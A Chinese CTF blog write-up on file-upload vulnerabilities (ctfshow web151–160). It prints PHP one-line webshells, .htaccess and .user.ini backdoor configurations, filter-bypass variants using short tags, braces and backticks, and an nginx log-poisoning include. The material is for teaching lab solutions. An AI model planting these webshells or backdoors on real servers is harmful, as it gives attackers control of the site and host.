【CTF】文件上传(知识点+例题)(1)

【CTF】文件上传(知识点+例题)(1)

文件上传

在上传文件时,服务端代码没有对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)

非法用户可以利用上传的恶意脚本控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为Webshell,也可讲Webshell脚本称作一种网页后门,Webshell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

php一句话木马:

<?php @eval($_REQUEST['cmd']);?>

一、前端校验

有的站点会出现仅进行了前端校验的情况(一切在前端做的安全防护,都是耍流氓),由于前端页面的源码是我们可以随意更改的,因此可以通过找到进行过滤的指令,更改成我们想要的功能即可。

ctfshow-web151:

image-20230322211128876

查看上传图片按钮的源码,可以看到它仅支持png格式的文件

image-20230322211929770

可设想两种做法:

1、更改前端代码,将exts后的png更改为php,也就是说使其仅能上传php格式文件,即可完成上传。

image-20230322212306817

image-20230322212525081

2、上传一个png格式文件,使用burp抓取上传数据包,在数据包内更改文件格式与内容。

image-20230322212738705

此处再将png格式更改为php即可

image-20230322212831244

成功上传后,只需访问木马文件路径,执行所需的指令即可

image-20230322213213153

ctfshow-web152:

使用web151方法二同样解法

二、利用.htaccess和.user.ini上传

这里的内容在我之前的一篇博客中有讲到

.htaccess后门

.htaccess文件(分布式配置文件),提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及所有子目录。

.htaccess是Apache服务器的分布式配置文件的默认名称,换言之是个配置文件。当一个.htaccess文件放置在一个“通过Apache Web服务器加载”的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。

在一些黑名单过滤的情况下,若没有过滤.htaccess文件,即可通过创建.htaccess文件,来改写一些配置,从而达到上传后门的目的。

# .htaccess
<FilesMatch "1.png">
SetHandler application/x-http-php
</FilesMatch>
# 作用:将名为1.png的文件当作php类型的文件来进行执行

假设接下来就可以上传一个名为1.png的木马文件,植入后门,将其上传后,该文件虽文件后缀名为png,但会被当作php类型的文件进行解析,其中的一句话木马也能够被正常执行。

# 1.png	(一句话木马)
<?php @eval($_POST['cmd']);?>

.user.ini后门

php.ini是php的一个全局配置文件,对整个Web服务起作用,而.user.ini就是用户自定义的一个php.ini,可以利用它来构造后门。.user.ini利用范围很广,不仅限于Apache服务器,还适用于Nginx服务器。当访问一个.php目录时,若当前目录下存在.user.ini文件,则会执行该配置文件中的内容。

使用:通过配置之前提到的auto_prepend_file或auto_append_file来自动包含指定文件,类似于在文件前调用了include()或require()函数,并且要知道,在php中,被包含的文件内容是在<?php?>体内部的,因此被包含的所有文件,无论是何种格式,都会被按照php文件进行解析

# .user.ini
auto_prepend_file=1.png
# 1.png
GIF89a
<?php eval($_POST['cmd']);?>

因此,通过使用.user.ini,我们可以任意指定包含一个文件,这个文件可以是我们自己上传的木马文件,从而通过该木马文件提供后门来获取当前服务器的webshell。

ctfshow-web153:

无法上传php格式的文件,使用上述方法,上传.user.ini再访问./upload/index.php即可利用上传的木马文件

image-20230322215017729

三、过滤关键字之php

当对文件内容里的php进行了过滤时,可以采用php短标签来绕过

#常规标签
<?php ?>
#php短标签
<?= >

ctfshow-web154、155:

上传之前的一句话木马文件,发现显示不合规,经过几次测试,发现过滤了关键字php,于是可以使用php短标签进行绕过,然后再和web153一样上传.user.ini即可

image-20230322230846790

四、过滤一系列符号

1、过滤“[]”

当方括号被过滤,我们可以考虑直接执行system函数来获取flag

ctfshow-web156:

此时通过测试发现,方括号被过滤,文件内容中含有方括号无法正常上传,那么直接使用语句

system('cat ../f*');

image-20230322231734079

image-20230322231953694

除了直接使用system以外,还可以使用{}来代替[],上传以下一句话木马同样可以实现

<?=eval($_REQUEST{'cmd'});?>
2、过滤“;”

ctfshow-web157:

这一题在156的基础上过滤了分号(😉,将分号去掉同样可以

<?= system('cat ../fl*')?>

image-20230322232822933

ctfshow-web158:

与web157相同

3、过滤"()"

当()被过滤,在php中,在反引号中括起来的内容,表示执行的是系统命令

例如:

system('ls')`ls`功能相同

ctfshow-web159:

在经过测试时,发现本题过滤了括号(),那么此时之前使用的system()与eval()都无法继续使用了,此时就可以使用反引号来执行系统目录

image-20230322235522499

image-20230322235622994

五、日志注入

一般nginx的日志路径默认为

/var/log/nginx

ctfshow-web160:

此时我们可以先使用include函数包含日志来查看日志的内容,并且发现,关键字log被过滤,因此可以使用字符串的拼接,payload如下:

GIF89a
<?=include"/var/l"."og/nginx/access.lo"."g"?>

包含出日志文件后,查看日志内容,发现access.log中记录的是User-Agent头内的信息

image-20230323000809344

此时就可以考虑将木马语句写入到日志内,然后使用include进行包含执行

image-20230323001133498

image-20230323001119681

随后即可在读取的日志内容中查看源代码进而得到flag

本题还有另一种方法,由于使用到了include函数,因此我们也可以使用filter伪协议来进行指定文件的读取:

image-20230323001557660

随后将得到的结果进行base64解码即可得到flag

  • 9
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
CTF(Capture The Flag)是一种网络安全竞赛,其中包含多个与网络安全相关的题目,玩家需要通过解决这些题目来获取各种FLAG。在CTF比赛中,文件上传和解压缩是常见的题型之一。 文件上传和解压缩也是Web开发中常见的功能之一。在CTF比赛中,通常会出现一个具有文件上传功能的网站,目标是实现绕过网站的安全限制,上传一个恶意的zip文件。 要成功上传一个恶意的zip文件,需要对网站进行渗透测试,找到相应的漏洞。常见的漏洞包括文件类型验证不严格、上传路径没有限制等。渗透测试者可以通过修改file的Content-Type参数,将其伪装成zip文件,从而绕过文件类型验证。此外,还可以通过畸形的文件名、路径进行绕过。 成功上传恶意的zip文件后,需要进行解压缩,通常会将zip文件中的内容解压到服务器的指定路径。解压缩操作也可能存在漏洞,例如在解压缩时未对文件名进行过滤、解压缩路径的限制不严格等。渗透测试者可以通过构造恶意的zip文件,来绕过相关的限制,以实现对服务器的攻击。 为了防止这种情况发生,在进行文件上传时,应该进行严格的文件类型验证,确保只有允许的文件类型才能被上传。同时,应该对上传路径和解压缩路径进行限制,避免恶意文件对服务器造成损害。 CTF比赛中的文件上传和解压缩相关题目,旨在考察参赛者对文件上传和解压缩功能的理解,以及对常见漏洞的识别和利用能力。通过解决这些题目,参赛者可以提高自己的网络安全知识和技能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sunny-Dog

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值